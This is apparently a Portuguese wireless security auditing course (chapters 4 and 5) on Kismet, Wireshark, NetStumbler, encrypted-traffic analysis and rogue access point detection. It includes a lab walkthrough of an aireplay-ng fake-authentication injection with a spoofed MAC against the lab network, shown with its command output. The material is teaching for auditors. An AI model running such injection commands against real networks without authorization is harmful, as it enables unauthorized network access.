A ferramenta Kismet, que utilizaremos na prtica, capaz de identificar vrios mtodos de segurana. WEP identificado explicitamente pelo parmetro WEP: 11 Yes : indica um Basic Service Set (BSS) com WEP; 11 No: indica um BSS sem WEP; 11 Other: indica um BSS com um mecanismo diferente de WEP. Kismet capaz de identificar vrios mecanismos de autenticao 802.1x: 11 EAP-TLS; 11 LEAP; 11 PEAP. Convm lembrar que a ferramenta precisa capturar certa quantidade de quadros para caracterizar um BSS. Kismet tambm pode identificar redes que cifram os dados mas no marcam a flag WEP nos quadros. Isto pode ser feito com a habilitao da opo fuzzycrypt. A anlise manual ser tratada com uso da ferramenta Wireshark nas atividades prticas deste captulo.
w
Mais informaes em Kismet Readme Configuration: http://www.kismetwire less.net/documenta tion.shtml#readme
Mapeamento externo
11 Mapear alcance da rede. 11 til para identificar a provvel rea de ataque. 11 No leva em considerao atacante melhor equipado. 22 Antena de alto ganho. 11 Latitude e longitude de cada pacote. 22 Receptor GPS.
70
Um dos aspectos mais interessantes do mapeamento externo a possibilidade de mapear o alcance das redes com o uso de coordenadas de latitude e longitude. Esse tipo de
GPS Sistema de navegao por satlite que fornece a um aparelho mvel sua posio, assim como informao horria, sob todas condies atmosfricas, a qualquer momento e em qualquer lugar na Terra, desde que o receptor se encontre no campo de viso de quatro satlites GPS.
auditoria possvel com o auxlio de um receptor Global Positioning System (GPS ) que, associado ao software de auditoria, informa as coordenadas geogrficas de cada pacote recebido. Tanto Kismet quanto NetStumbler permitem a associao com um receptor GPS para gerao de mapas. conveniente lembrar que um atacante equipado com uma interface com boa sensi bilidade e antenas de alto ganho pode mapear redes a partir de pontos distantes do centro da rede (localizao do AP).
Mapeamento interno
Pode ser associado com mapas internos da organizao. GPS no possvel. 11 Necessidade de visada do cu para recepo dos sinais dos satlites. Conectividade depende da qualidade do sinal. 11 Signal to Noise Ratio (SNR). 11 Mnimo entre ~4 dB (conexo a baixa velocidade) e 20 dB. O mapeamento do ambiente interno de uma organizao no pode ser associado a um receptor GPS, uma vez que necessria a visada dos satlites para a determinao das coordenadas. Para mapear espaos internos usam-se ferramentas de software propriet rias que tenham como entrada um blueprint (mapa esquemtico) da rea construda.
O auditor indica no software em que ponto do mapa est para que o software seja capaz de determinar a escala e as distncias envolvidas. Alguns equipamentos profissionais para redes sem fio disponibilizam softwares com capacidade de gerenciar o nvel do sinal do
Figura 4.1 Tela de captura do AirWave.
ambiente interno. Essa informao, associada a uma planta baixa do ambiente, prov a visualizao da cobertura Wi-Fi no local. Um exemplo de software com essa capacidade o AirWave (Aruba Networks: www.arubanetworks.com).
71
O mapeamento interno importante na avaliao da necessidade de novos APs clientes normalmente exigem um nvel de SNR (Signal to Noise Ratio) mnimo de 4 dB para associao.
Avaliao do trfego
Trfego no cifrado. 11 Quadros de dados so cifrados em redes com segurana ativa. 11 WEP e WPA (TKIP) podem ser decifrados. 22 Kismet WEP decifrado em tempo real. 11 Ferramentas de anlise de trfego Ethernet so aplicveis. 22 Wireshark, Snort e TCPdump. 11 Divulgao de informaes. 22 Anlise de trfego capturado em formato PCAP com utilitrios strings e display filter Wireshark. possvel avaliar o nvel de informaes da organizao que so divulgadas pela anlise do trfego da rede. Isso pode ser feito por intermdio de analisadores de pacotes, como Wireshark, Snort e TCPdump.
Convm lembrar que, numa rede com um mecanismo de segurana implantado, os quadros 802.11 de dados so cifrados. Assim, s possvel analis-los depois de decifrados. Hoje, os nicos mecanismos de segurana que permitem que se decifre trfego previamente capturado so WEP e WPA (TKIP). Kismet permite que o trfego WEP seja decifrado em tempo real, uma vez que a chave seja conhecida. Ferramentas como strings (teis para identificar cadeias de texto dentro de arquivos binrios, como o de captura) e Wireshark so teis para a identificao do tipo de informaes divulgadas pela rede.
Avaliao de trfego cifrado

Cabealho 802.2 (LLC) marca o incio do payload, portanto cifrado. Kismet: 11 Identifica trfego cifrado na ausncia dos bytes 0xAA 0xAA, que caracterizam o cabealho LLC. 11 Fuzzy Encryption Detection (configurao fuzzycrypt ). 11 Flag WEP no o nico indicador. WEP: 11 possvel decifrar sem a chave, em alguns casos.
Hoje, muitos administradores de rede j implementam mecanismos de segurana, por isso

bem provvel que voc, como auditor, no encontre redes abertas, sem algum mecanismo de segurana. Assim, a ferramenta de auditoria deve ser capaz de identificar adequada mente as redes com mecanismo de segurana. A presena da flag WEP nos quadros no o nico indicador com mecanismo de segurana ativado. Kismet capaz de identificar redes com segurana por meio dos principais indica dores. Por exemplo: 11 Quadros de dados so cifrados. Assim, se no existem os bytes 0xAA 0xAA, que caracterizam o cabealho LLC em um quadro de dados, o quadro passou por algum tipo de proteo, possivelmente por um mecanismo de segurana;
72
11 Quadros de dados cifrados deveriam, por padro, ter a flag WEP marcada, mas isso nem sempre acontece. A opo netfuzzycrypt faz com que Kismet tente detectar redes com segurana; 11 possvel, ainda, decifrar trfego WEP em alguns casos, como veremos adiante.
Anlise da camada MAC
w
Saiba mais em IPv4 Multicast Address Space Registry e Ethernet Number no site http://www.iana.org
Sempre trafega em claro (no cifrada). Endereo multicast de destino revela pistas sobre protocolo usado. 11 01-00-5E-00-00-00 a 01-00-5E-7F-FF-FF alocado pela IANA para Multicast Internet. 11 01-00-5E-00-00-05 = 224.0.0.5.
Outra maneira de se analisar trfego cifrado por meio da anlise dos endereos da camada MAC. A presena do endereo de destino multicast pode revelar pistas sobre o protocolo usado, de acordo com intervalos determinados pela IANA.
Avaliao de trfego cifrado

Histograma dos quadros: 11 Analisa a frequncia de um byte no intervalo capturado. 11 Selecionar apenas quadros de dados (payload cifrado). 11 PCAPHistogram. 22 Ferramenta desenvolvida por Joshua Wright, do SANS Institute. possvel que uma empresa adote um mecanismo de segurana prprio para cifrar os pacotes. Mas como realizar essa deteco? possvel determinar se um trfego cifrado ou no pela anlise da ocorrncia de carac-
teres em um trfego. O trfego cifrado possui, como caractersticas bsicas, a aleatoriedade e a no repetio de caracteres. A ferramenta PCAPHistogram, desenvolvida por Joshua Wright (SANS Institute) indica, por meio de grficos, a frequncia de bytes pontos bem distribudos no grfico indicam trfego possivelmente cifrado, enquanto que pontos pouco distribudos indicam trfego possivelmente aberto.
Exerccio de fixao 1 e Metodologias de auditoria

Quais as principais diferenas entre fingerprinting passivo e o fingerprinting ativo?
Ferramentas de auditoria
Principais ferramentas de auditoria: 11 TCPdump. 11 Airodump-ng. 11 Wireshark. 11 NetStumbler (Windows).
73
11 Kismet. 22 Linux apenas, verso Windows em desenvolvimento. 11 Outras ferramentas. 22 Auditorias especficas de mecanismos de segurana, como WEP, WPA, entre outras. Algumas ferramentas foram e sero muito mencionadas no decorrer deste curso, e a principal delas o Kismet, que agrega diversas funcionalidades em uma nica ferramenta
de auditoria. NetStumbler, embora seja bem limitado em funcionalidades se comparado ao Kismet, uma boa opo para auditorias baseadas em Windows. Outras ferramentas genricas de anlise tambm so usadas: 11 TCPdump: tradicional analisador de pacotes baseado em texto. Suas diversas opes de filtros e exibio podem ajudar em algumas anlises. 11 Airodump-NG: ferramenta Linux para captura especfica de trfego 802.11, parte do pacote AIRCRACK-NG. 11 Wireshark : considerado a verso grfica de TCPdump, oferece diversas funcionalidades de exibio, filtro e captura de trfego. Possui o diferencial de permitir o deciframento de trfego WEP, uma vez que seja fornecida a chave. No decorrer deste curso, sero apresentadas outras ferramentas para cenrios especficos, como mecanismos de segurana WEP e WPA.
Wireshark
11 Poderoso analisador de trfego que possui uma interface de visualizao de pacotes mais amigvel que a do comando TCPdump. 11 Estrutura em rvore, resoluo de hostname/porta/MAC, possibilidade de visuali zao de fluxos. 11 Dependente da biblioteca Libpcap ou Winpcap, captura trfego e abre arquivos de captura PCAP. 11 Interoperabilidade com TCPdump, Airodump-ng, Kismet e outras ferramentas. 11 Filtros de captura no mesmo formato usado por TCPdump, filtros de exibio. Wireshark (antigo Ethereal at 2006) uma ferramenta tradicional de anlise de trfego que tambm de grande utilidade para WLAN. capaz de lidar com arquivos PCAP, possui
formato compatvel com diversas outras ferramentas como TCPdump e revela mais informa es do que esta ltima ferramenta, por apresentar os dados na forma de rvore, decodi ficar trfegos conhecidos, entre outros recursos. Convm lembrar que, com a interface em modo managed, qualquer ferramenta ser capaz de capturar apenas trfego 802.3 (Ethernet aparente). Para capturar trfego 802.11 + 802.2
(LLC), necessrio que a interface esteja em modo monitor ou RFMON, o que, atualmente, possvel apenas com os drivers Linux. Wireshark conta com um utilitrio de linha de comando, o twireshark. Abordaremos mais detalhes de ambas as verses na prtica deste captulo.
74
Figura 4.2 Tela do Wireshark.
Wireshark permite a visualizao dos pacotes de maneira hierrquica, camada a camada. Esse tipo de visualizao, aliado a recursos de agrupamento de fluxos e decodificao inclusive de trfego WEP, desde que se conhea a chave so diferenciais dessa ferramenta que a tornaram lder. Convm lembrar que Wireshark depende da biblioteca de captura de pacotes Libpcap ou Winpcap. Sob a plataforma Windows, o instalador j inclui a ltima verso de Winpcap.
Para pensar
conveniente lembrar que Wireshark no uma ferramenta apropriada para anlise de arquivos capturados excessivamente grandes, devido aos recursos de hardware exigidos. Para a anlise de arquivos de captura grandes, possvel dividir o arquivo de captura original em outros menores (a ferramenta Editcap parte do pacote) ou mesmo usar uma ferramenta que exige menos recursos de hardware,
como TCPdump ou tshark.
Kismet
11 Diversas funes como Wardriving, site survey, IDS distribudo, auditoria, deteco de APs rogue e deteco de IVs duplicados em redes com WEP. 11 Interao com GPS para mapeamento. 11 Driver prprio, mais de 20 tipos de NIC suportados. 11 Suporte ainda limitado aos principais chipsets. 11 Restrito a Unix, com diversas dependncias. 22 GPSD, ImageMagick, Expat e GMP. 11 Possibilita a captura em todos os canais simultaneamente.
75
Kismet a ferramenta livre que oferece mais recursos ao auditor. Alm de exibir informa es sobre as redes em um nvel de detalhes maior do que ferramentas como NetStumbler e Kismet, tem um diferencial essencial: audita redes com a interface em modo monitor, ou seja, no envia pacotes de probe como NetStumbler e outras. A auditoria em modo managed, o mesmo usado na associao, barulhenta e permite que se detecte a pre sena de um cliente atravs de investigao na rea. Kismet oferece a possibilidade de captura associada com um receptor GPS, o que permite a gerao posterior de mapas, como o NetStumbler. Outra caracterstica interessante de Kismet a possibilidade de gerar dados da auditoria em diversos formatos, o que permite a visualizao tanto por ferramentas simples (como Excel) quanto por utilitrios que geram mapas mais complexos dos dados gerados. Uma caracterstica interessante de Kismet a possibilidade de us-lo como ferramenta de IDS wireless por meio do recurso de drones. Com isso, possvel instalar sensores Kismet que reportam a um servidor central, possibilitando a captura em diversos pontos da organizao. Finalmente, Kismet permite a captura de todos os canais simultaneamente (inclusive o canal 14), atravs da utilizao de sensores drone ou de diversas interfaces de rede. A interface grfica de Kismet simples, mas conta com diversos filtros e mtodos de orde nao. Algumas funcionalidades: 11 Filtros por BSSID, SSID, contagem de pacotes, potncia do sinal e presena de WEP; 11 Possibilidade de agrupar redes; 11 Visualizao de estatsticas, contedo dos pacotes em tempo real (dump): til para anlise de divulgao de informaes sensveis em uma rede sem fio desprovida de mecanismos de segurana; 11 Estatsticas; 11 Informaes detalhadas sobre as redes, possibilidade de visualizar clientes associados a um determinado ESS.
NetStumbler
11 Ferramenta mais popular, restrita ao Windows, com diversas funes: 11 Configurao da sua rede, deteco de interferncia, APs no autorizados (rogue), wardriving (suporte a GPS). 11 Auditoria ativa, detectvel por probes. 11 Limitado, se comparado ao Kismet. 11 RFMON ausente sob Windows. 11 Bom suporte a NICs em Windows.
w
Veja a lista de compatibilidade do NetStumbler: http:// www.stumbler.net/ compat/ e uma pgina com comparao de hardware: http://www. seattlewireless.net/ HardwareComparison
11 Barulhento. O suporte a NetStumbler bom, pois dificilmente se encontra uma interface no suportada. A interface opera em modo managed, como um cliente da WLAN. Enquanto a ferramenta utilizada, no possvel a associao a um AP. A ferramenta interrompe o servio Wireless Zero Configuration (WZCSVC) durante sua execuo, caso no sejam utilizados drivers proprietrios da NIC.
76
Ao contrrio do Kismet, o NetStumbler barulhento: a identificao de redes ocorre pelo envio de probes com a interface em modo managed. Isso torna o cliente que realiza a
Figura 4.3 Tela do NetStumbler.
auditoria visvel para um administrador que use Kismet para detectar atacantes. Kismet, por sua vez, no transmite um nico pacote em suas auditorias, porque configura a interface de rede para modo monitor, capaz de capturar dados de qualquer rede em um dado canal.
GPSMAP
11 Utilitrio que integra o pacote Kismet. 11 Diversos tipos de mapa. 11 Abrangncia, potncia, rea de cobertura estimada, entre outros. 11 Permite filtros, til para ocultar redes irrelevantes. 11 Estima o centro da rede.
Um dos aspectos mais interessantes de Kismet a possibilidade de gerar grficos da rea de abrangncia de cada AP. Isso possvel com o uso de um receptor GPS compatvel durante a auditoria, que marca cada pacote com dados de latitude e longitude no instante da hoje de pouca utilidade para auditorias no Brasil, porque os sites usados como fonte de mapas no possuem boa cobertura. Existem ferramentas que permitem visualizaes mais modernas de mapas, como o Google Earth.
captura. O prprio Kismet oferece uma ferramenta para a gerao de grficos, GPSMAP, mas
77
O mapa anterior foi gerado a partir do utilitrio GPSMAP de Kismet, durante uma auditoria feita no centro de Los Angeles. As cores exibidas indicam o nvel de segurana da rede: verde para redes seguras e vermelho para inseguras.
Figura 4.4 Mapa feito com o utilitrio GPSMAP do Kismet. Centro de Los Angeles, outubro de 2005.
78
Atividade 4.1 NetStumbler no Windows e suas funcionalidades
Nesta atividade, executaremos o NetStumbler e vamos nos familiarizar com a sua interface e os seus comandos. Execute o NetStumbler no Windows por meio do menu Iniciar. Verifique as funes do NetStumbler: configurao da sua rede, deteco de interferncia, APs no autorizados, suporte a GPS, filtros, entre outras. Relembrando, o NetStumbler pode ser utilizado para: 11 Verificar se a configurao de sua rede est de acordo com o planejado; 11 Localizar locais com falhas de cobertura em suas WLANs; 11 Detectar outras WLAN que podem estar causando interferncia em sua rede; 11 Detectar rogue AP em seu local de trabalho; 11 Auxiliar o posicionamento de antenas direcionais em links WLAN; 11 Uso em Wardriving (limitado). Utilize as funcionalidades do NetStumbler que foram apresentadas pelo instrutor e procure entender o seu funcionamento.
Atividade 4.2 Kismet no Linux e suas funcionalidades

Nesta atividade, executaremos o Kismet e vamos nos familiarizar com a sua interface e os seus comandos. Kismet um analisador de redes sem fio do padro IEEE 802.11 (camada 2), sniffer e Intrusion Detection System (IDS). O Kismet pode ser usado com qualquer interface de rede sem fio que suporte o modo monitor (RFMON), podendo capturar, passivamente, os trfegos 802.11a, b ou g. Execute o Kismet por intermdio da linha de comando ou atravs das opes de aplica tivos do BackTrack 5 (Backtrack > Information Gathering > Network Analysis > WLAN Analysis > kismet). Para executar na linha de comando, utilize:
# kismet
Observe a tela inicial de captura do Kismet. Nela, possvel visualizar as redes que foram detectadas passivamente (modo monitor) pela placa de rede wireless, alm do canal que cada rede usa, o tipo de rede (A, B ou G) e tambm se existe segurana habilitada, entre outras informaes. A interface do Kismet possui trs reas distintas. A central e maior delas contm as informaes sobre as redes detectadas. A da direita possui informaes estatsticas gerais, o(s) driver(s) da(s) placa(s) que monitora e os canais que esto sendo monitorados. A inferior possui os alertas e eventos que ocorrem em tempo real, tais como: deteco de uma nova rede, alerta do IDS, salvamento dos dados etc. Tecle h e visualizaremos as opes do Kismet e as informaes gerais sobre a interface e suas opes (T, A, P, H, W, Y, N e Ch).
79
Opes List Kismet servers Toggle fullscreen zoom on network view Toggle muting of sound and speech Tag (or untag) selected network Group tagged networks Ungroup current group Show clients in current network Lock channel hopping to current channel Return to normal channel hopping Expand or collapse groups Force a screen redraw Help Name current network Detailed info about current network Sort network list Show wireless card power levels Dump printable strings Packet rate graph Statistics Dump packet type Follow network centre Track alerts Close popup window Quit Abaixo da opo T, as seguintes opes esto disponveis: Cdigo P
Tecla e z m t g u c L H +/^L h n i s l d r a p f w x Q
Tipos de Redes ou Clientes Probe request no associated connection yet Access point standard wireless network Ad-hoc point to point wireless network Turbocell Turbocell aka Karlnet or Lucent Router Group Group of wireless networks Data Data only network with no control packets
A H T G D
80
Abaixo da opo W as seguintes opes esto disponveis: Cdigo N Y O Tipo de Criptografia No encryption in use WEP encryption on use Other encryption in use (por exemplo: LEAP e WPA)
Tecle s e selecione de que forma desejamos que as redes sejam apresentadas na interface grfica. Escolha por: Channel First time seen Latest time seen SSID Packet count Signal power level WEP tecla c f l s p Q w
As cores apresentadas na interface grfica, para as redes descobertas, possuem o seguinte significado: Cor Amarelo Vermelho Verde Azul Tipo de Rede ou Cliente Unencrypted Network Factory default settings in use Secure Networks (WEP, WPA etc.) SSID cloaking on/Broadcast SSID disabled
Selecione uma das redes e tecle i para informaes detalhadas sobre a rede selecionada. A tecla L (lock) fora o Kismet a monitorar apenas um canal selecionado de determinada rede, o que aumenta a o nmero de pacotes capturados naquele canal especfico. A tecla H retorna para o salto entre canais, ou seja, todos os canais so varridos em sequncia. O Kismet, conforme captura o trfego 802.11, salva as informaes das redes, clientes e quadros obtidos em diversos formatos:
11 .dump: todo o trfego capturado no formato libcap; 11 .network : resumo em formato texto das informaes das redes e clientes observados; 11 .xml: arquivo em formato XML; 11 .csv : informaes observadas, separadas por ;, para aplicaes de banco de dados; 11 .gps: coordenadas GPS para a captura do Kismet para uso do GPSMAP; 11 .cisco: arquivo txt com informaes de CDP (Cisco Data Protocol); 11 .weak : arquivo em formato libpcap contendo pacotes WEP que podem ser analisados pelo Airsnort.
81
Verifique a captura do arquivo .dump, copiado para o pendrive ou partio pelo aplicativo Wireshark, conforme a prtica anterior. Utilize as funcionalidades do Kismet que foram apresentadas pelo instrutor e procure entender o seu funcionamento. Outras opes de execuo podem ser realizadas. Verifique-as atravs do comando:
# man kismet
Atividade 4.3 Demonstrao de injeo de trfego na rede

Nesta atividade utilizaremos o Wireshark para demonstrar uma injeo de trfego na rede. Em uma auditoria, essa atividade pode demonstrar a capacidade de se injetar trfego em uma rede sem fio. Exploraremos a rede sem fio do laboratrio (SSID: ESR-SEG6, Canal: 8). Configurar a interface em modo monitor no canal 8:
# airmon-ng start wlan0 8 Interface Chipset Driver
wlan0
Ralink 2573 USB
rt73usb - [phy0]
(monitor mode enabled on mon0)

Iniciar o Wireshark para visualizar a injeo de trfego. Utilizaremos a interface mon0 para captura, como podemos ver na figura a seguir:
Figura 4.5 Identificando a interface.
82
Realizar uma injeo de uma tentativa de autenticao utilizando um endereo MAC fictcio (00:11:22:33:44:55) em uma rede aberta. Essa injeo ser realizada com o comando aireplay-ng :
# aireplay-ng -1 10 e ESR-SEG6 a 00:18:39:C8:B5:4A h 00:11:22:33:44:55 mon0 00:11:22:33:44:55 mon0
The interface MAC (00:1E:E5:FF:84:2A) doesnt match the specified MAC (-h). ifconfig mon0 hw ether 00:11:22:33:44:55 21:27:12 channel 8 Waiting for beacon frame (BSSID: 00:18:39:C8:B5:4A) on
21:27:12 21:27:12 21:27:12 21:27:12
Sending Authentication Request (Open System) [ACK] Authentication successful Sending Association Request [ACK] Association successful :-) (AID: 1)
Aqui podemos visualizar, pelo log do aireplay-ng, que a associao forjada foi bem-sucedida. Opes do comando aireplay-ng : 11 -1: opo para ataque do tipo fakeauth (uma tentativa de autenticao ao AP); 11 10: quantidade de tentativas de autenticao realizadas; 11 -e SSID: especifica o SSID da rede explorada; 11 -a MAC: especifica o endereo MAC (BSSID) do AP explorado; 11 -h MAC: especifica o endereo MAC do cliente que forjar a autenticao 11 mon0: interface utilizada para injeo de pacotes. Visualizar na tela no Wireshark o sucesso da autenticao e o endereo MAC forjado:
83
Figura 4.6 Visualizando o resultado.
84
5
Redes rogue e ataques DoS
objetivos
Apresentar ameaas inerentes a redes sem fio antes de ataques aos dispositivos de segurana e o conceito de redes sem fio no autorizadas (redes rogue); mostrar o risco constante de ataques de negao de servio (DoS) e maneiras de proteger a rede contra tais riscos.
conceitos
Redes rogue Fingerprinting do AP e ataques de negao de servio em redes 802.11s.
Introduo
11 Rede rogue qualquer Wireless Access Point (WAP) instalado sem a permisso do administrador de rede. 11 Denial of Service (DoS): ocorre quando o cliente incapaz de manter associao com um AP. Neste captulo, abordaremos duas ameaas constantes s redes wireless: redes rogue e
ataques de negao de servio, estes ltimos mais conhecidos por sua sigla em ingls, DoS (Denial of Service). Na primeira parte do captulo, abordaremos algumas tcnicas de identificao de dispositivos rogue, com foco na localizao do transmissor e na correlao entre a rede sem fio e a rede cabeada qual ela est conectada por intermdio do Access Point. Na segunda parte do captulo, abordaremos ataques DoS contra redes sem fio, bem como algumas medidas de defesa contra esse tipo de ataque. Esse tipo de ataque inerente especificao 802.11, que permite que sejam forjados pacotes de desassociao e desauten ticao, com o intuito de forar um cliente ou um AP a terminar a associao.
Captulo 5 - Redes rogue e ataques DoS
Exerccio de nivelamento 1 e Redes rogue

O que so redes rogue?
85
Problemas agravantes
11 WAP instalado com a permisso do administrador, mas indevidamente configurado. 11 Permite acesso rede interna cabeada. 11 Perda do controle do permetro da rede.
No h permetro quando se fala em redes sem fio. Redes rogue normalmente so definidas como redes no autorizadas. Entretanto, muitas vezes o Access Point possui autorizao dos administradores de rede para operar, mas no devidamente configurado. A instalao desse tipo de dispositivo invalida qualquer tentativa de delimitao do permetro da rede, uma vez que: 11 A rede no permite o controle do acesso ao meio de transmisso, como nas redes cabeadas; 11 Sem os filtros de firewall definidos pela poltica da empresa e por mecanismos de segu rana, esse elemento da rede abre uma brecha no permetro um permetro aberto no um permetro.
Tipos de rogue
11 Amigvel. 11 Malicioso. 11 No intencional. Existem, basicamente, trs tipos de ameaas rogue: 11 Rogue amigvel: tipicamente instalado por um usurio que instala um AP SOHO (Small Office/Home Office) ou configura sua estao como AP, sem a devida preocupao com segurana. Envolve a infrao da poltica de segurana por um usurio; 11 Rogue malicioso: instalado com a inteno de criar uma porta dos fundos (backdoor) em sua rede, de forma que o atacante tenha livre acesso a ela;
11 Rogues no intencionais: diferentemente dos amigveis, so autorizados. A diferena est na implantao, que ocorre sem considerar a poltica de segurana para dispositivos sem fio. o tipo mais comum, j que as organizaes normalmente no monitoram suas redes sem fio.
Tcnicas de identificao de rogues

A partir da rede cabeada: 11 Fingerprinting do AP. 11 Anlise do prefixo do MAC. A partir da rede sem fio:
11 Warwalking. 11 Monitorao dos clientes. 11 Implantao de IDS na WLAN. Uma vez conceituado o risco das redes rogues e descritos os tipos mais comuns, examina remos diferentes tcnicas de identificao de rogues. A seguir, apresentamos as tcnicas de anlise em duas frentes: 11 Anlise a partir da rede cabeada; 11 Anlise a partir da rede sem fio.
86
Rede cabeada: Fingerprinting do AP

11 Ferramentas de varredura de vulnerabilidades. 11 Analisa o lado do AP que toca a LAN. 11 Depende de assinaturas. 11 Nessus. 22 Plugin #11026 (Access Point Detection).
A primeira tcnica de anlise a partir da rede cabeada o uso de ferramentas de varredura de vulnerabilidades para identificar APs que j tiveram seu perfil previamente traado. Quando falamos do perfil de um dispositivo de rede, nos referimos a caractersticas nicas ou agrupadas que o identificam com um certo grau de preciso. Nessus, um popular sistema de varredura de vulnerabilidades para Linux, conta com o plugin #11026 (find_ap.nasl Access Point Detection) para a identificao da presena de um WAP na rede, que se utiliza de quatro tcnicas:5 11 TCP/IP Fingerprinting NMAP: tcnica baseada na determinao do Sistema Operacional do sistema remoto, com base nas respostas a pacotes TCP/IP. Alguns Sistemas Operacio nais se comportam diferentemente do que definido pelas Request for Comments (RFC, documento do IETF) no que diz respeito a TCP/IP, comportamento anmalo que permite identificar o sistema de maneira nica. O que ferramentas como NMAP e Nessus fazem procurar, na base de assinaturas j conhecidas, por uma entrada que coincida com a assinatura do dispositivo que est sendo avaliado. Para utilizar essa tcnica, necessrio que pelo menos uma porta seja alcanvel pelo Nessus: 11 HTTP Fingerprinting: praticamente todo WAP conta com uma interface administrativa web. Uma vez que o servidor web embarcado normalmente proprietrio, procura-se por cadeias de texto no banner (tela inicial) que o identifiquem de maneira nica: uma assinatura; 11 FTP Fingerprinting : da mesma maneira utilizada com os servidores web embarcados, possvel identificar um determinado WAP pelo texto inicial que o servidor FTP normal mente usado para atualizao de firmware apresenta; 11 Consultas SNMP: se a porta SNMP estiver aberta e a community string (que tem a funo de uma senha) for conhecida, esse plugin do Nessus tenta consultar o valor sysDesc. Nessus, que antes era open source em todo o sentido da expresso, adotou em 2004 um novo sistema de licenas, visando controlar o uso de sua ferramenta por empresas. Para ter acesso aos plugins to logo sejam lanados, necessria a aquisio de uma licena.
w
Leia Wireless Access Point Detection em http://www.tenable.com
Rede cabeada: anlise do prefixo MAC

Empresas alocam endereos MAC em blocos: 11 Possibilidade de identificar produtos. 11 Possibilidade de procurar silenciosamente por rogues. 11 Escuta de trfego ARP.
87
CPU
OpenWrt br0
WRT54G v4 WRT54GS v3
eth1
vlan0 vlan1
eth
WIFI Access Point
Tagging
eth0
Porta interna
WAN port
Portas LAN 1 2 3 4
Internet
Case Labels
Nmeros de portas VLAN
5
Tagging
4
vlan1
vlan0
Switch
Figura 5.1 Arquitetura interna do AP WRT54GS (v3), da Linksys.
Identificar a interface de rede pelos primeiros 24 bits do endereo MAC da interface Organizationally Unique Identifier (OUI), obtido com a IEEE tambm relevante para a identificao de um AP na rede. A arquitetura interna da maioria dos APs composta de bridges e VLANs, como se pode observar pela arquitetura interna do AP WRT54GS (v3), da Linksys. Externamente, h a interface de rede sem fio operando em modo Master, que confere ao AP sua funo principal, uma interface de rede para conexo com a rede de distribuio (a rede cabeada) e, por final, conexes para a ligao de estaes por rede cabeada convencional. A interface que toca a LAN permite que se faa esse tipo de anlise.
w
Pesquise IEEE OUI and Company_id Assignments no site http:// standards.ieee.org/
Warwalking
11 Uso de ferramentas de wardriving. 11 Etapas: 22 Determinar o que j existe em termos de redes sem fio.
22 Identificar APs autorizados. 22 Filtrar APs de redes autorizadas e vizinhas. 11 importante fazer avaliaes com frequncia. Kismet uma ferramenta muito til na deteco de rogues. Com Kismet, possvel conduzir todas as etapas de um warwalking, com a possibilidade de filtrar redes no interessantes na anlise, ou seja, redes autorizadas e vizinhas (de outra organizao prxima).
88
Para determinar as redes permitidas ou vizinhas: AP de uma empresa prxima, por exemplo necessrio saber os endereos (BSSID) dessas redes. Com esses dados em mos, possvel configurar o servidor Kismet de forma que tais redes sejam omitidas da anlise, isto , apenas redes rogue possveis so exibidas. O filtro pode ser configurado no arquivo kismet.conf, atravs da diretiva filter_tracker. Alguns exemplos de filtro: 11 Filtro por BSSID: ignora BSSIDs especificados do processamento: filter_tracker = BSSID(XX:XX:XX:XX:XX:XX,! XX:XX:XX:XX:XX:XX) 11 Filtro por origem: ignora determinados endereos MAC: filter_tracker = SRC(! XX:XX:XX:XX:XX:XX,! XX:XX:XX:XX:XX:XX) 11 Filtro por mscara: ignora endereos (origem, destino ou BSSID) por prefixo: filter_tracker = ANY(xx:xx:xx:00:00:00/FF:FF:FF:00:00:00) bom lembrar, entretanto, que um atacante pode forjar um AP por completo, ou seja, construir um AP com SSID, BSSID e outras configuraes idnticas s da rede autntica. Nesse caso, o auditor deve identificar tambm a origem do sinal para se certificar de que apenas o AP autntico est divulgando a rede da empresa.
Monitorao da rede por clientes

11 Aproveita tempo ocioso da interface de rede. 11 Indicada quando h a possibilidade de conexo por cabo. 11 Duas maneiras: 22 RFMON. 22 Enquanto associado. 11 Limitaes: 22 RFMON. 33 No possvel se associar a uma rede nesse modo. 22 Associado. 22 No possvel identificar rogues que escondem SSID.
Usar os prprios clientes da rede para monitorao uma boa alternativa para os hardwares dedicados. Existem alternativas comerciais para essa tarefa AirWave RAPIDS, por exemplo , mas nosso foco em ferramentas gratuitas. O modo de operao RFMON melhor suportado em Linux, existindo diversas ferramentas disposio, dependendo do tipo de informao que se quer monitorar. Sob Linux, possvel implantar uma infraestrutura de sensores Kismet que reportam para um servidor central atravs da rede cabeada lembre-se de que no possvel se associar a uma rede enquanto a interface estiver em modo RFMON. Estudaremos mais adiante essa alternativa de monitorao usando drones Kismet. Em Windows tambm h opes interessantes de monitorao. Uma delas usar a interface de gerenciamento que o Windows oferece, chamada de Windows Management Interface (WMI).
89
Atravs de utilitrios como CScript (Windows scripting host), Scriptomatic, WMI Code Creator e WMI Administrative Tools, possvel criar scripts VBS que consultam certos parmetros do Sistema Operacional. O namespace que nos interessa o root\WMI, e as classes que nos interessam possuem o padro MSNdis_80211_. bom lembrar que nem todas as interfaces de rede possuem drivers que permitem que todas as classes MSNdis_80211_* sejam usadas.
Rede sem fio: IDS na WLAN

11 Intrusion Detection System. 11 Monitorao constante. 22 Clientes ociosos. 22 Dispositivos dedicados. 11 Lista de redes autorizadas e vizinhas. 11 Implantao deve abranger toda a infraestrutura da organizao. 11 IDS Distribudo. 22 Soluo open source: 33 Drones Kismet com servidor central.
Implantar uma rede sem fio segura significa utilizar mecanismos de segurana, possuir uma poltica, monitorar a rede e audit-la contra a poltica vigente. Monitorao um elemento muito importante, mas muitas empresas simplesmente o ignoram. Kismet uma ferramenta open source (cdigo aberto) que no deve nada a ferramentas comerciais. mais conhecido como ferramenta de auditoria e mapeamento de redes sem fio, mas sua funcionalidade de IDS de camada MAC boa o suficiente para que se implante monitorao da rede. Kismet composto de trs componentes: 11 Kismet Client: interface grfica de visualizao dos dados coletados pelo Kismet Server. Assim como em ferramentas como Nessus, normalmente conecta-se com um servidor no prprio host. Sua configurao se resume basicamente a selecionar as informaes que sero exibidas e o endereo do servidor Kismet; 11 Kismet Server : servidor de coleta. nesse componente da arquitetura Kismet que se configura as fontes de dados (local ou drone), padres de troca de canais, quais canais monitorar, entre outros parmetros; 11 Kismet Drones: arquitetura opcional do Kismet, em que um drone captura dados da
Open source Tambm conhecido por software livre, respeita as quatro liberdades definidas pela Free Software Foundation, compartilhadas tambm pelo projeto Debian.
l
Conheceremos na atividade prtica mais detalhes sobre essa funcionalidade do Kismet, mais especifica mente sobre a implantao de drones Kismet.
